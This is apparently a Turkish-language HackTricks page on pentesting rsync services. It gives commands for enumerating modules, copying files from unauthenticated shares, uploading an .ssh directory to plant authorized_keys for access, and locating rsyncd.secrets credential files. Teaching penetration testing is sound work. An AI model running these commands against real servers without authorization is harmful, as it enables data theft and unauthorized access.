hacktricks/network-services-pentesting/873-pentesting-rsync.md
2024-02-10 18:14:16 +00:00

127 lines
7.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 873 - Rsync Pentest
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
</details>
## **Temel Bilgiler**
[wikipedia](https://en.wikipedia.org/wiki/Rsync)'dan alınan bilgilere göre:
> **rsync**, bir bilgisayar ile harici bir sabit disk arasında ve ağ üzerindeki bilgisayarlar arasında [dosya](https://en.wikipedia.org/wiki/Computer_file) [aktarma](https://en.wikipedia.org/wiki/File_transfer) ve [senkronizasyon](https://en.wikipedia.org/wiki/File_synchronization) işlemlerini verimli bir şekilde gerçekleştiren bir yardımcı programdır. Bu işlem, dosyaların [değiştirme zamanlarını](https://en.wikipedia.org/wiki/Timestamping_(computing)) ve boyutlarını karşılaştırarak yapılır.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) Genellikle [Unix benzeri](https://en.wikipedia.org/wiki/Unix-like) [işletim sistemlerinde](https://en.wikipedia.org/wiki/Operating_system) bulunur. Rsync algoritması, bir tür [delta kodlama](https://en.wikipedia.org/wiki/Delta_encoding) kullanır ve ağ kullanımını en aza indirmek için kullanılır. Ek olarak [veri sıkıştırma](https://en.wikipedia.org/wiki/Data_compression) için [Zlib](https://en.wikipedia.org/wiki/Zlib) kullanılabilir,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) ve güvenlik için [SSH](https://en.wikipedia.org/wiki/Secure_Shell) veya [stunnel](https://en.wikipedia.org/wiki/Stunnel) kullanılabilir.
**Varsayılan port:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
## Numaralandırma
### Banner ve El ile İletişim
Rsync, bir ağ servisi olduğu için, hedef sistemde çalıştırıldığında bir banner döndürür. Bu banner, hedef sistem hakkında bazı bilgiler sağlayabilir. Rsync sunucusuna bağlanarak banner'ı alabilirsiniz:
```bash
$ nc <hedef_ip> 873
```
Banner'ı almak için `nc` (netcat) aracını kullanıyoruz. Banner, hedef sistemde çalışan Rsync sürümünü ve diğer bilgileri içerebilir.
Ayrıca, Rsync sunucusuyla el ile iletişim kurabilirsiniz. Rsync sunucusuna bağlanmak için `rsync` komutunu kullanabilirsiniz:
```bash
$ rsync <hedef_ip>::
```
Bu komut, sunucudaki mevcut modülleri listeler. Modüller, Rsync sunucusunda paylaşılan dizinlerdir. Bu dizinlere erişim sağlayarak verilere erişebilirsiniz.
```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
### **Paylaşılan Klasörleri Sıralama**
**Rsync modülleri**, **şifrelerle korunmuş olabilecek** **dizin paylaşımları** olarak tanımlanır. Kullanılabilir modülleri belirlemek ve şifre gerekip gerekmediğini kontrol etmek için aşağıdaki komutlar kullanılır:
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Dikkatli olun, bazı paylaşımlar liste içinde görünmeyebilir ve gizlenebilir. Ayrıca, bazı paylaşımlara erişim belirli kimlik bilgilerine kısıtlı olabilir ve "Erişim Engellendi" mesajıyla belirtilir.
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
### Rsync Kullanımı
Bir **modül listesi** elde ettikten sonra, işlemler kimlik doğrulaması gerekip gerekmediğine bağlı olarak değişir. Kimlik doğrulaması olmadan, paylaşılan bir klasörden dosyaların **listelenmesi** ve **kopyalanması**, yerel bir dizine şu şekilde gerçekleştirilir:
```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
Bu işlem, dosyaları özelliklerini ve izinlerini koruyarak **rekürsif olarak aktarır**.
**Kimlik bilgileri** ile paylaşılan bir klasörden listeleyip indirme işlemi aşağıdaki gibi yapılabilir, burada bir şifre isteme ekranı görünecektir:
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
İçerik yüklemek için, erişim için bir **authorized_keys** dosyası gibi, şunu kullanın:
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
## POST
Rsyncd yapılandırma dosyasını bulmak için şunu çalıştırın:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
Bu dosyada, bir _secrets dosyası_ parametresi rsyncd kimlik doğrulaması için kullanıcı adları ve şifreler içeren bir dosyaya işaret edebilir.
## Referanslar
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
</details>